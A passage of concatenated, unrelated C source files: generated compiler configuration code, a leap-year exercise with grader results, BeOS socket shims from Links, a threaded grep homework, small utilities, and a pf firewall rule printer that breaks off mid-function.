YEDn(VzimbuConfig, VgcWithThreads); VisMingw = 0; sf.pos=527024; #ifdef __MINGW32__ VisMingw = 1; #endif sf.pos=527025; YeB5(VzimbuConfig, VisMingw); VshortSize = 0; VintSize = 0; VlongSize = 0; VlongLongSize = 0; VunsShortSize = 0; VunsIntSize = 0; VunsLongSize = 0; VunsLongLongSize = 0; VptrSize = 0; VfloatSize = 0; VdoubleSize = 0; VvoidPtrSize = 0; sf.pos=527026; VshortSize = sizeof(short); VintSize = sizeof(int); VlongSize = sizeof(long); VlongLongSize = sizeof(long long); VunsShortSize = sizeof(unsigned short); VunsIntSize = sizeof(unsigned int); VunsLongSize = sizeof(unsigned long); VunsLongLongSize = sizeof(unsigned long long); VfloatSize = sizeof(float); VdoubleSize = sizeof(double); VvoidPtrSize = sizeof(void*); sf.pos=527027; YIIX(VzimbuConfig, ((Tc*)&YX_1)); sf.pos=527028; if ((VshortSize != 2)) { sf.pos=527029; Yl0k(ZcS3(((Tc*)&Y8PB), (Zint2string((VshortSize * 8))), ((Tc*)&YMSv))); } sf.pos=527030; if ((VintSize == 4)) { sf.pos=527031; Y8TB(VzimbuConfig, ((Tc*)&Y1Qt)); } else { sf.pos=527032; if ((VlongSize == 4)) { sf.pos=527033; Y8TB(VzimbuConfig, ((Tc*)&YDFJ)); } else { sf.pos=527034; Y8TB(VzimbuConfig, ((Tc*)&Y1Qt)); sf.pos=527035; Yl0k(ZcS3(((Tc*)&Ynz4), (Zint2string((VintSize * 8))), ((Tc*)&YMSv))); } } sf.pos=527036; VintType = ((Tc*)&YDR5); sf.pos=527037; #ifdef __MINGW32__ sf.pos=527038; VprintIntFormat = ((Tc*)&YmXc); sf.pos=527039; VscanfHexFormat = ((Tc*)&YGXc); sf.pos=527040; VprintNatFormat = ((Tc*)&YDXc); sf.pos=527041; #else sf.pos=527042; VprintIntFormat = ((Tc*)&YKd3); sf.pos=527043; VscanfHexFormat = ((Tc*)&Y3d3); sf.pos=527044; VprintNatFormat = ((Tc*)&Y0d3); sf.pos=527045; #endif sf.pos=527046; if ((VlongLongSize == 8)) { } else { sf.pos=527047; if ((VlongSize == 8)) { sf.pos=527048; VintType = ((Tc*)&YDFJ); sf.pos=527049; VprintIntFormat = ((Tc*)&YY0H); sf.pos=527050; VscanfHexFormat = ((Tc*)&Yh1H); sf.pos=527051; VprintIntFormat = ((Tc*)&YY0H); } else { sf.pos=527052; if ((VintSize == 8)) { sf.pos=527053; VintType = ((Tc*)&Y1Qt); sf.pos=527054; VprintIntFormat = ((Tc*)&Y46); sf.pos=527055; VscanfHexFormat = ((Tc*)&Yo7); } else { sf.pos=527056; Yl0k(ZcS3(((Tc*)&Y0OX), (Zint2string((VlongLongSize * 8))), ((Tc*)&YMSv))); } }} sf.pos=527057; Y6PM(VzimbuConfig, VintType); sf.pos=527058; YUld(VzimbuConfig, VprintIntFormat); sf.pos=527059; YRMv(VzimbuConfig, VscanfHexFormat); sf.pos=527060; YXzR(VzimbuConfig, ((Tc*)&YFcv)); sf.pos=527061; if ((VunsShortSize != 2)) { sf.pos=527062; Yl0k(ZcS3(((Tc*)&YTwi), (Zint2string((VunsShortSize * 8))), ((Tc*)&YMSv))); } sf.pos=527063; if ((VunsIntSize == 4)) { sf.pos=527064; YnLv(VzimbuConfig, ((Tc*)&YVjT)); } else { sf.pos=527065; if ((VunsLongSize == 4)) { sf.pos=527066; YnLv(VzimbuConfig, ((Tc*)&YOaN)); } else { sf.pos=527067; YnLv(VzimbuConfig, ((Tc*)&YVjT)); sf.pos=527068; Yl0k(ZcS3(((Tc*)&YENP), (Zint2string((VunsIntSize * 8))), ((Tc*)&YMSv))); } } sf.pos=527069; VnatType = ((Tc*)&Y2BO); sf.pos=527070; if ((VunsLongLongSize == 8)) { } else { sf.pos=527071; if ((VunsLongSize == 8)) { sf.pos=527072; VnatType = ((Tc*)&YOaN); sf.pos=527073; VprintNatFormat = ((Tc*)&Ye1H); } else { sf.pos=527074; if ((VunsIntSize == 8)) { sf.pos=527075; VnatType = ((Tc*)&YVjT); sf.pos=527076; VprintNatFormat = ((Tc*)&Yl7); } else { sf.pos=527077; Yl0k(ZcS3(((Tc*)&YfGK), (Zint2string((VunsLongLongSize * 8))), ((Tc*)&YMSv))); } }} sf.pos=527078; YlHG(VzimbuConfig, VnatType); sf.pos=527079; Y8c7(VzimbuConfig, VprintNatFormat); sf.pos=527080; Yla2(VzimbuConfig, ((Tc*)&Ygep)); sf.pos=527081; if ((VdoubleSize != 8)) { sf.pos=527082; Yl0k(ZcS3(((Tc*)&Y_4L), (Zint2string((VdoubleSize * 8))), ((Tc*)&YMSv))); } sf.pos=527083; YI4N(VzimbuConfig, ((Tc*)&Yt7n)); sf.pos=527084; if ((VfloatSize != 4)) { sf.pos=527085; Yl0k(ZcS3(((Tc*)&YhOJ), (Zint2string((VfloatSize * 8))), ((Tc*)&YMSv))); } sf.pos=527086; #ifdef __INTPTR_TYPE__ sf.pos=527087; VintPtrName = ((Tc*)&YlTN); sf.pos=527088; #else # ifdef __SIZEOF_POINTER__ # if __SIZEOF_POINTER__ == __SIZEOF_INT__ sf.pos=527089; VintPtrName = ((Tc*)&Y1Qt); sf.pos=527090; # else # if __SIZEOF_POINTER__ == __SIZEOF_LONG__ sf.pos=527091; VintPtrName = ((Tc*)&YDFJ); sf.pos=527092; # else sf.pos=527093; VintPtrName = ((Tc*)&YDR5); sf.pos=527094; # endif # endif # else sf.pos=527095; VintPtrName = ((Tc*)&YDFJ); sf.pos=527096; # endif #endif sf.pos=527097; YJ6V(VzimbuConfig, VintPtrName); sf.pos=527098; VexeSuffix = ((Tc*)&Ya); sf.pos=527099; VexePrefix = ((Tc*)&YFka); sf.pos=527100; #if defined(__MINGW32__) || defined(_MSC_VER) VexeSuffix = Zstr(".exe"); /* set to ".exe" for MS-Windows */ VexePrefix = Zstr(""); /* set to "" for MS-Windows */ #endif sf.pos=527101; YNXX(VzimbuConfig, VexeSuffix); sf.pos=527102; YcU3(VzimbuConfig, VexePrefix); sf.pos=527103; Vwriter = YiBk(((Tc*)&Ys1d), 1); sf.pos=527104; Vconfig = YNdL__YC5i(VzimbuConfig); sf.pos=527105; ((Ts (*)(void*, Tc*))(Vwriter.table[1]))(Vwriter.ptr, Vconfig); sf.pos=527106; Yl0k(((Tc*)&YLmd)); sf.pos=527107; Yl0k(Vconfig); sf.pos=527108; r = 0; topFrame = sf.prev; return r; }

the_stack_data/47455.c

/*numPass=8, numTotal=8 Verdict:ACCEPTED, Visibility:1, Input:"1004", ExpOutput:"Leap Year", Output:"Leap Year" Verdict:ACCEPTED, Visibility:1, Input:"2009", ExpOutput:"Not Leap Year", Output:"Not Leap Year" Verdict:ACCEPTED, Visibility:1, Input:"2012", ExpOutput:"Leap Year", Output:"Leap Year" Verdict:ACCEPTED, Visibility:1, Input:"2115", ExpOutput:"Not Leap Year", Output:"Not Leap Year" Verdict:ACCEPTED, Visibility:0, Input:"1000", ExpOutput:"Not Leap Year", Output:"Not Leap Year" Verdict:ACCEPTED, Visibility:0, Input:"1700", ExpOutput:"Not Leap Year", Output:"Not Leap Year" Verdict:ACCEPTED, Visibility:0, Input:"1900", ExpOutput:"Not Leap Year", Output:"Not Leap Year" Verdict:ACCEPTED, Visibility:0, Input:"2000", ExpOutput:"Leap Year", Output:"Leap Year" */ #include<stdio.h> int main() { int a; scanf("%d",&a); if (a%4==0){ if (a%100==0){ if (a%400==0){ printf("Leap Year"); }else{ printf("Not Leap Year"); } }else{ printf("Leap Year"); } }else{ printf("Not Leap Year"); } return 0; }

the_stack_data/187642172.c

/* beos.c * (c) 2002 Mikulas Patocka * This file is a part of the Links program, released under GPL */ #if defined(__BEOS__) || defined(__HAIKU__) #include "com-defs.h" #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <be/kernel/OS.h> #define SHS 128 #ifndef MAXINT #define MAXINT 0x7fffffff #endif #ifdef __HAIKU__ int closesocket(int); #endif #include "beos.h" int be_read(int s, void *ptr, int len) { if (s >= SHS) return recv(s - SHS, ptr, len, 0); return read(s, ptr, len); } int be_write(int s, void *ptr, int len) { if (s >= SHS) return send(s - SHS, ptr, len, 0); return write(s, ptr, len); } int be_close(int s) { if (s >= SHS) return closesocket(s - SHS); return close(s); } int be_socket(int af, int sock, int prot) { int h = socket(af, sock, prot); if (h < 0) return h; return h + SHS; } int be_connect(int s, struct sockaddr *sa, int sal) { return connect(s - SHS, sa, sal); } int be_getpeername(int s, struct sockaddr *sa, int *sal) { return getpeername(s - SHS, sa, sal); } int be_getsockname(int s, struct sockaddr *sa, int *sal) { return getsockname(s - SHS, sa, sal); } int be_listen(int s, int c) { return listen(s - SHS, c); } int be_accept(int s, struct sockaddr *sa, int *sal) { int a = accept(s - SHS, sa, sal); if (a < 0) return -1; return a + SHS; } int be_bind(int s, struct sockaddr *sa, int sal) { /*struct sockaddr_in *sin = (struct sockaddr_in *)sa; if (!ntohs(sin->sin_port)) { int i; for (i = 16384; i < 49152; i++) { sin->sin_port = htons(i); if (!be_bind(s, sa, sal)) return 0; } return -1; }*/ if (bind(s - SHS, sa, sal)) return -1; getsockname(s - SHS, sa, &sal); return 0; } #define PIPE_RETRIES 10 int be_pipe(int *fd) { int s1, s2, s3, l; struct sockaddr_in sa1, sa2; int retry_count = 0; again: if ((s1 = be_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { /*perror("socket1");*/ goto fatal_retry; } if ((s2 = be_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { /*perror("socket2");*/ be_close(s1); goto fatal_retry; } memset(&sa1, 0, sizeof(sa1)); sa1.sin_family = AF_INET; sa1.sin_port = htons(0); sa1.sin_addr.s_addr = INADDR_ANY; if (be_bind(s1, (struct sockaddr *)&sa1, sizeof(sa1))) { /*perror("bind");*/ clo: be_close(s1); be_close(s2); goto fatal_retry; } if (be_listen(s1, 1)) { /*perror("listen");*/ goto clo; } if (be_connect(s2, (struct sockaddr *)&sa1, sizeof(sa1))) { /*perror("connect");*/ goto clo; } l = sizeof(sa2); if ((s3 = be_accept(s1, (struct sockaddr *)&sa2, &l)) < 0) { /*perror("accept");*/ goto clo; } be_getsockname(s3, (struct sockaddr *)&sa1, &l); if (sa1.sin_addr.s_addr != sa2.sin_addr.s_addr) { be_close(s3); goto clo; } be_close(s1); fd[0] = s2; fd[1] = s3; return 0; fatal_retry: if (++retry_count > PIPE_RETRIES) return -1; sleep(1); goto again; } int be_select(int n, struct fd_set *rd, struct fd_set *wr, struct fd_set *exc, struct timeval *tm) { int i, s; struct fd_set d, rrd; retry: FD_ZERO(&d); if (!rd) rd = &d; if (!wr) wr = &d; if (!exc) exc = &d; if (n >= FD_SETSIZE) n = FD_SETSIZE; FD_ZERO(exc); for (i = 0; i < n; i++) if ((i < SHS && FD_ISSET(i, rd)) || FD_ISSET(i, wr)) { for (i = SHS; i < n; i++) FD_CLR(i, rd); return MAXINT; } FD_ZERO(&rrd); for (i = SHS; i < n; i++) if (FD_ISSET(i, rd)) FD_SET(i - SHS, &rrd); if ((s = select(FD_SETSIZE, &rrd, &d, &d, tm)) < 0) { if (errno == EINTR) goto retry; FD_ZERO(rd); return 0; } FD_ZERO(rd); for (i = SHS; i < n; i++) if (FD_ISSET(i - SHS, &rrd)) FD_SET(i, rd); return s; } #ifndef SO_ERROR #define SO_ERROR 10001 #endif int be_getsockopt(int s, int level, int optname, void *optval, int *optlen) { if (optname == SO_ERROR && *optlen >= sizeof(int)) { *(int *)optval = 0; *optlen = sizeof(int); return 0; } return -1; } static int ihpipe[2]; static int inth; static void input_handle_th(void *p) { char c; int b = 0; setsockopt(ihpipe[1], SOL_SOCKET, SO_NONBLOCK, &b, sizeof(b)); while (1) if (read(0, &c, 1) == 1) be_write(ihpipe[1], &c, 1); } int get_input_handle(void) { static int h = -1; if (h >= 0) return h; if (be_pipe(ihpipe) < 0) return -1; if ((inth = start_thr(input_handle_th, NULL, "input_thread")) < 0) { closesocket(ihpipe[0]); closesocket(ihpipe[1]); fatal_exit("Can't spawn input thread"); } return h = ihpipe[0]; } void block_stdin(void) { suspend_thread(inth); } void unblock_stdin(void) { resume_thread(inth); } /*int ohpipe[2]; #define O_BUF 16384 static void output_handle_th(void *p) { char *c = malloc(O_BUF); int r, b = 0; if (!c) return; setsockopt(ohpipe[1], SOL_SOCKET, SO_NONBLOCK, &b, sizeof(b)); while ((r = be_read(ohpipe[0], c, O_BUF)) > 0) write(1, c, r); free(c); } int get_output_handle(void) { static int h = -1; if (h >= 0) return h; if (be_pipe(ohpipe) < 0) return -1; if (start_thr(output_handle_th, NULL, "output_thread") < 0) { closesocket(ohpipe[0]); closesocket(ohpipe[1]); fatal_exit("Can't spawn output thread"); } return h = ohpipe[1]; }*/ #else typedef int beos_c_no_empty_unit; #endif

the_stack_data/1159877.c

/***************************************************************************** * HW4_161044086_Efkan_Duraklı * * System Programming - grepTh using Semaphores and PIPES * * Date: 28.04.2017 * * *****************************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/wait.h> #include <dirent.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/time.h> #include <pthread.h> #include <semaphore.h> #define PERMS (S_IRUSR | S_IWUSR) #define WRITE_FLAGS (O_WRONLY | O_CREAT | O_TRUNC) #define WHITESPACE ch == '\t' || ch == ' ' || ch == '\n' #define SEM_PERMS (mode_t)(S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH) #define FLAGS (O_CREAT | O_EXCL) /* thread fonksiyonuna gönderilecek parametreler için struct*/ typedef struct { char fileName[25]; char string[25]; int totalOccurence[1]; } threadParams_t; /* ekrana basılacak total değerler için struct*/ typedef struct { int numberOfFile; int numberOfDirectory; int numberOfLine; int totalOccurence; }total_t; int seacrchInFile(const char *fileName, const char *string); void *grepWithThread(void *arg); int searchInDirectory(const char *pathName, const char *string); int destroynamed(char *name, sem_t *sem); int getnamed(char *name, sem_t ** sem, int val); int isDirectory(char *pathName); int isRegularFile(const char *fileName); pid_t r_wait(int *stat_loc); ssize_t r_write(int fd, void *buf, size_t size); ssize_t r_read(int fd, void *buf, size_t size); int r_close(int fildes); total_t total; int fdLog = 0; int isParent = 1; int totalWord = 0; int cascadeThread = 0; static int maxThread = 0; static int counter = 0; pid_t mainPid = 0; struct timeval end; struct timeval start; long timedif; static sem_t sem; static void signal_handler(int signo) { if (signo == SIGUSR1) counter++; else if (signo == SIGUSR2) counter--; if (counter > maxThread) maxThread = counter; if (signo == SIGINT) { if (isParent) { /* Ctrl + c sinyali geldiği durumda child proceslerin ölmesi beklenir ve ekrana gerekli bilgiler yazılır.*/ while(r_wait(NULL) != -1); printf("Total number of strings found :%d\n", totalWord); printf("Number of directory searched: %d\n", total.numberOfDirectory+1); printf("Number of files searched: %d\n", total.numberOfFile); printf("Number of lines searched: %d\n", total.numberOfLine); printf("Number of cascade threads: %d\n", cascadeThread); printf("Number of search threads created: %d\n", total.numberOfFile); printf("Maximum number of threads running concurrently: %d\n", maxThread); printf("Total runtime: %ld miliseconds.\n", timedif); printf("Exit condition: Due to SIGINT.\n"); r_close(fdLog); exit(1); } } } int main(int argc, char *argv[]) { char str[25]; if (argc != 3) { /* command-line argüman sayısının kontrolü */ fprintf(stderr, "Usage: %s string directoryname\n", argv[0]); return 1; } if ((fdLog = open("log.log", WRITE_FLAGS, PERMS)) == -1) { fprintf(stderr, "Faield to open %s. Error: %s\n", "log.log", strerror(errno)); return 1; } mainPid = getpid(); struct sigaction act; act.sa_handler = signal_handler; act.sa_flags = 0; if ((sigemptyset(&act.sa_mask) == -1) || (sigaction(SIGUSR2, &act, NULL) == -1) || (sigaction(SIGUSR1, &act, NULL) == -1) || (sigaction(SIGINT, &act, NULL) == -1)) { perror("Failed to set Signal handler."); return 1; } /* semaphorun initialize edilmesi */ sem_init(&sem, 0, 1); sprintf(str, "Process ID\t\tThread ID\t\tFileName\n"); r_write(fdLog, str, sizeof(char)*strlen(str)); gettimeofday(&start, NULL); totalWord = searchInDirectory(argv[2], argv[1]); gettimeofday(&end, NULL); timedif = 1000*(end.tv_sec - start.tv_sec) + (end.tv_usec - start.tv_usec)/1000.0; if (totalWord == -1) { fprintf(stderr, "Number of directory serched: %d\n", total.numberOfDirectory+1); fprintf(stderr, "Number of files searched: %d\n", total.numberOfFile); fprintf(stderr, "Number of lines serched: %d\n", total.numberOfLine); fprintf(stderr, "Number of cascade threads: %d\n", cascadeThread); fprintf(stderr, "Number of search threads created: %d\n", total.numberOfFile); fprintf(stderr, "Maximum number of threads running concurrently: %d\n", maxThread); fprintf(stderr, "Total runtime: %ld miliseconds.\n", timedif); fprintf(stderr, "Exit condition: due to an error.Error: %s\n", strerror(errno)); r_close(fdLog); return 1; } sprintf(str, "%d %s were found in total.\n", totalWord, argv[1]); r_write(fdLog, str, sizeof(char)*strlen(str)); printf("Total number of strings found :%d\n", totalWord); printf("Number of directory searched: %d\n", total.numberOfDirectory+1); printf("Number of files searched: %d\n", total.numberOfFile); printf("Number of lines searched: %d\n", total.numberOfLine); printf("Number of cascade threads: %d\n", cascadeThread); printf("Number of search threads created: %d\n", total.numberOfFile); printf("Maximum number of threads running concurrently: %d\n", maxThread); printf("Total runtime: %ld miliseconds.\n", timedif); printf("Exit condition: Normal.\n"); r_close(fdLog); return 0; } int searchInDirectory(const char *pathName, const char *string) { DIR *dirp = NULL; struct dirent *direntp = NULL; pid_t childpid = 0; int *temp = NULL; total_t tempTotal; int i = 0; int j = 0; int fd[2]; int error = 0; threadParams_t thread[256] ; pthread_t tids[256]; pthread_t temptid = 0; char str[100]; /* global total structın initialize edilmesi */ total.totalOccurence = 0; total.numberOfFile = 0; total.numberOfDirectory = 0; total.numberOfLine = 0; /* directoryler için oluşturduğum yeni proseslerin bilgilerini toplamak için pipe*/ if (pipe(fd) == -1) { perror("Failed to create the pipe"); return -1; } if ((dirp = opendir(pathName)) == NULL) { fprintf(stderr, "Faield to open %s: %s\n", pathName, strerror(errno)); return -1; } chdir(pathName); while ((direntp = readdir(dirp)) != NULL) { if (strcmp(direntp->d_name, "..") != 0 && strcmp(direntp->d_name, ".") != 0) { if (isRegularFile(direntp->d_name)) { strcpy(thread[i].fileName, direntp->d_name); strcpy(thread[i].string, string); /* her file için thread oluşturulur */ if (error = pthread_create(&temptid, NULL, grepWithThread, thread+i)) { fprintf(stderr, "Failed to create thread: %s\n", strerror(error)); return -1; } tids[i] = temptid; total.numberOfFile++; i++; } else if (isDirectory(direntp->d_name)) { total.numberOfDirectory++; /* her directory için yeni bir process oluşturulur.*/ if ((childpid = fork()) == -1) { perror("Failed to create fork"); return -1; } if (childpid == 0) { isParent = 0; r_close(fd[0]); total.totalOccurence = searchInDirectory(direntp->d_name, string); r_write(fd[1], &total, sizeof(total_t)); r_close(fd[1]); exit(0); } } } } closedir(dirp); /* cascade thread sayısının alınması */ if (total.numberOfFile > cascadeThread) cascadeThread = total.numberOfFile; if (childpid > 0) { r_close(fd[1]); while (r_wait(NULL) != -1) { r_read(fd[0], &tempTotal, sizeof(total_t)); total.totalOccurence += tempTotal.totalOccurence; total.numberOfFile += tempTotal.numberOfFile; total.numberOfDirectory += tempTotal.numberOfDirectory; total.numberOfLine += tempTotal.numberOfLine; } r_close(fd[0]); } j = i; /* threadler beklenir ve return değerleri toplanır */ for (i = 0; i < j; i++) { if (pthread_equal(tids[i], pthread_self())) continue; if (error = pthread_join(tids[i], (void **)&temp)) { fprintf(stderr, "Failed to join thread %d %s\n", i+1, strerror(error)); continue; } if (temp == NULL) { fprintf(stderr, "Thread %d failed to return status\n",i+1); continue; } total.totalOccurence += *temp; } dirp = NULL; direntp = NULL; temp = NULL; return total.totalOccurence; } /* file için çalışacak thread fonksiyonu */ void *grepWithThread(void *arg) { /* thread başladığını bildirmek için ana procese başladım sinyali gönderir.*/ kill(mainPid, SIGUSR1); threadParams_t *thread = NULL; thread = (threadParams_t *)arg; thread->totalOccurence[0] = seacrchInFile(thread->fileName, thread->string); /* thread öldüğünü bildirmek için ana procese bittim sinyali gönderir.*/ kill(mainPid, SIGUSR2); return thread->totalOccurence; } int seacrchInFile(const char *fileName, const char *string) { FILE *filePointer; int i = 0; int rowNumber = 1; int columnNUmber = 1; int totalOccurence = 0; int status = 0; char ch; char str[100]; if (NULL == (filePointer = fopen(fileName, "r"))) { fprintf(stderr, "File <%s> not found in directory\n", fileName); return -1; } for (ch = fgetc(filePointer); ch != EOF; ch = fgetc(filePointer)) { ++status; if (ch == '\n') { ++rowNumber; columnNUmber = 1; } for (i = 0; i < strlen(string); ++i) { if (ch == string[i]) { ch = fgetc(filePointer); while(WHITESPACE) ch = fgetc(filePointer); } else break; } if (i == strlen(string)) { sprintf(str, "%ld\t\t%ld\t\t%s:\t%s found in [%d,%d].\n", (long)getpid(), (long)pthread_self(), fileName, string, rowNumber, columnNUmber); r_write(fdLog, str, sizeof(char)*strlen(str)); ++totalOccurence; } fseek(filePointer, status, SEEK_SET); if (ch != '\n') ++columnNUmber; } sem_wait(&sem); /* critical section */ total.numberOfLine += rowNumber; sem_post(&sem); fclose(filePointer); filePointer = NULL; return totalOccurence; } /* aşağıdaki fonksiyonlar kitaptan alınmıştır*/ int isDirectory(char *pathName) { struct stat statbuf; if (stat(pathName, &statbuf) == -1) return 0; else return S_ISDIR(statbuf.st_mode); } int isRegularFile(const char *pathName) { struct stat statbuf; if (stat(pathName, &statbuf) == -1) return 0; else return S_ISREG(statbuf.st_mode); } ssize_t r_read(int fd, void *buf, size_t size) { ssize_t retval; while (retval = read(fd, buf, size), retval == -1 && errno == EINTR) ; return retval; } ssize_t r_write(int fd, void *buf, size_t size) { char *bufp; size_t bytestowrite; ssize_t byteswritten; size_t totalbytes; for (bufp = buf, bytestowrite = size, totalbytes = 0; bytestowrite > 0; bufp += byteswritten, bytestowrite -= byteswritten) { byteswritten = write(fd, bufp, bytestowrite); if ((byteswritten) == -1 && (errno != EINTR)) return -1; if (byteswritten == -1) byteswritten = 0; totalbytes += byteswritten; } return totalbytes; } pid_t r_wait(int *stat_loc) { pid_t retval; while (((retval = wait(stat_loc)) == -1) && (errno == EINTR)) ; return retval; } int r_close(int fildes) { int retval; while (retval = close(fildes), retval == -1 && errno == EINTR) ; return retval; }

the_stack_data/60313.c

/* * Program to remove trailing blanks and tabs from each line of input * Also deletes entirely blank lines * created by Anvesh G. Jhuboo * on Feb/5/21 */ #include <stdio.h> #define MAXLINE 1000 /* max input line length */ char line[MAXLINE + 1]; int getline2(void); int main() { int len; /* current line length */ int head, tail, inn; /* states */ extern char line[]; /* current input line */ while ((len = getline2()) > 0) { for (head = 0; line[head] == ' ' || line[head] == '\t'; head++); for (tail = len; line[tail] == ' ' || line[tail] == '\t' || line[tail] == '\n' || line[tail] == '\0'; tail--); if (tail - head >= 0) { for (inn = head; inn <= tail; inn++) putchar(line[inn]); putchar('\n'); putchar('\0'); } } } int getline2(void) { extern char line[]; int c, i; for (i = 0; i < MAXLINE-1 && (c = getchar()) != EOF && c != '\n'; i++) line[i] = c; if (c == '\n') { line[i] = c; ++i; } line[i] = '\0'; return i; }

the_stack_data/151320.c

#include <stdio.h> int main(){ int n=3; for(int i=0; i<n; i++){ for(int j=0; j<=n-i-1; j++){ printf(" "); } for(int j=n-i; j<=n; j++){ printf("%d ",j); } printf("\n"); } for(int i=n; i>=0; i--){ for(int j=0; j<=n-i-1; j++){ printf(" "); } for(int j=n-i; j<=n; j++){ printf("%d ",j); } printf("\n"); } }

the_stack_data/59691.c

/** * file: gcd.c * * Iteratively computing the greatest common divisor of two integers. * * Euclidean algorithm: * gcd(a, b) = gcd(b, a % b) * * Created by hengxin on 11/13/21. */ #include <stdio.h> int GCD(int a, int b); int main() { int a = 130; int b = 124; printf("gcd(%d, %d) = %d\n", a, b, GCD(a, b)); return 0; } int GCD(int a, int b) { while (b != 0) { int tmp = a; a = b; b = tmp % b; } return a; }

the_stack_data/1796.c

#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_12__ TYPE_6__ ; typedef struct TYPE_11__ TYPE_5__ ; typedef struct TYPE_10__ TYPE_4__ ; typedef struct TYPE_9__ TYPE_3__ ; typedef struct TYPE_8__ TYPE_2__ ; typedef struct TYPE_7__ TYPE_1__ ; /* Type definitions */ struct protoent {char* p_name; } ; struct TYPE_11__ {int /*<<< orphan*/ * proxy_port; } ; struct TYPE_10__ {scalar_t__ port; int /*<<< orphan*/ addr; } ; struct TYPE_9__ {int limit; int seconds; } ; struct TYPE_8__ {int /*<<< orphan*/ * gid; scalar_t__ op; } ; struct TYPE_7__ {int /*<<< orphan*/ * uid; scalar_t__ op; } ; struct pf_rule {int nr; int action; int rule_flag; int return_ttl; int return_icmp; int return_icmp6; int af; scalar_t__ direction; int log; int logif; char* ifname; scalar_t__ rt; int proto; scalar_t__ keep_state; int type; int code; int tos; scalar_t__ prio; int scrub_flags; int* set_prio; double prob; int max_states; int max_src_nodes; int max_src_states; int* timeout; int max_src_conn; char* overload_tblname; int flush; int min_ttl; int max_mss; int set_tos; char* label; char* qname; char* pqname; char* tagname; char* match_tagname; int rtableid; TYPE_5__ rpool; TYPE_4__ divert; scalar_t__ match_tag_not; scalar_t__ allow_opts; TYPE_3__ max_src_conn_rate; scalar_t__ flagset; scalar_t__ flags; TYPE_2__ gid; TYPE_1__ uid; int /*<<< orphan*/ dst; int /*<<< orphan*/ os_fingerprint; int /*<<< orphan*/ src; scalar_t__ ifnot; scalar_t__ quick; scalar_t__ natpass; } ; struct icmptypeent {char* name; } ; struct icmpcodeent {char* name; } ; typedef int /*<<< orphan*/ buf ; struct TYPE_12__ {char* name; int timeout; } ; /* Variables and functions */ #define AF_INET 129 #define AF_INET6 128 int /*<<< orphan*/ GID_MAX ; int IPPROTO_TCP ; int PFRULE_FRAGMENT ; int PFRULE_IFBOUND ; int PFRULE_NODF ; int PFRULE_NOSYNC ; int PFRULE_RANDOMID ; int PFRULE_REASSEMBLE_TCP ; int PFRULE_RETURN ; int PFRULE_RETURNICMP ; int PFRULE_RETURNRST ; int PFRULE_RULESRCTRACK ; int PFRULE_SET_TOS ; int PFRULE_SRCTRACK ; int PFRULE_STATESLOPPY ; int PFSTATE_SETMASK ; int PFSTATE_SETPRIO ; int PFTM_MAX ; scalar_t__ PF_AZERO (int /*<<< orphan*/ *,int) ; size_t PF_BINAT ; size_t PF_DROP ; scalar_t__ PF_DUPTO ; int PF_FLUSH_GLOBAL ; scalar_t__ PF_IN ; int PF_LOG ; int PF_LOG_ALL ; int PF_LOG_SOCKET_LOOKUP ; size_t PF_NAT ; int PF_NORDR ; scalar_t__ PF_OUT ; size_t PF_PASS ; scalar_t__ PF_PRIO_ZERO ; size_t PF_RDR ; scalar_t__ PF_REPLYTO ; scalar_t__ PF_ROUTETO ; size_t PF_SCRUB ; scalar_t__ PF_STATE_MODULATE ; scalar_t__ PF_STATE_NORMAL ; scalar_t__ PF_STATE_SYNPROXY ; int /*<<< orphan*/ UID_MAX ; double UINT_MAX ; struct icmpcodeent* geticmpcodebynumber (int,int,int) ; struct icmptypeent* geticmptypebynumber (int,int) ; struct protoent* getprotobynumber (int) ; int /*<<< orphan*/ * inet_ntop (int,int /*<<< orphan*/ *,char*,int) ; int ntohs (scalar_t__) ; TYPE_6__* pf_timeouts ; int /*<<< orphan*/ print_flags (scalar_t__) ; int /*<<< orphan*/ print_fromto (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ *,int,int,int,int) ; int /*<<< orphan*/ print_pool (TYPE_5__*,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int,size_t) ; int /*<<< orphan*/ print_ugid (scalar_t__,int /*<<< orphan*/ ,int /*<<< orphan*/ ,char*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ printf (char*,...) ; int /*<<< orphan*/ snprintf (char*,int,char*,double) ; int strlen (char*) ; void print_rule(struct pf_rule *r, const char *anchor_call, int verbose, int numeric) { static const char *actiontypes[] = { "pass", "block", "scrub", "no scrub", "nat", "no nat", "binat", "no binat", "rdr", "no rdr" }; static const char *anchortypes[] = { "anchor", "anchor", "anchor", "anchor", "nat-anchor", "nat-anchor", "binat-anchor", "binat-anchor", "rdr-anchor", "rdr-anchor" }; int i, opts; if (verbose) printf("@%d ", r->nr); if (r->action > PF_NORDR) printf("action(%d)", r->action); else if (anchor_call[0]) { if (anchor_call[0] == '_') { printf("%s", anchortypes[r->action]); } else printf("%s \"%s\"", anchortypes[r->action], anchor_call); } else { printf("%s", actiontypes[r->action]); if (r->natpass) printf(" pass"); } if (r->action == PF_DROP) { if (r->rule_flag & PFRULE_RETURN) printf(" return"); else if (r->rule_flag & PFRULE_RETURNRST) { if (!r->return_ttl) printf(" return-rst"); else printf(" return-rst(ttl %d)", r->return_ttl); } else if (r->rule_flag & PFRULE_RETURNICMP) { const struct icmpcodeent *ic, *ic6; ic = geticmpcodebynumber(r->return_icmp >> 8, r->return_icmp & 255, AF_INET); ic6 = geticmpcodebynumber(r->return_icmp6 >> 8, r->return_icmp6 & 255, AF_INET6); switch (r->af) { case AF_INET: printf(" return-icmp"); if (ic == NULL) printf("(%u)", r->return_icmp & 255); else printf("(%s)", ic->name); break; case AF_INET6: printf(" return-icmp6"); if (ic6 == NULL) printf("(%u)", r->return_icmp6 & 255); else printf("(%s)", ic6->name); break; default: printf(" return-icmp"); if (ic == NULL) 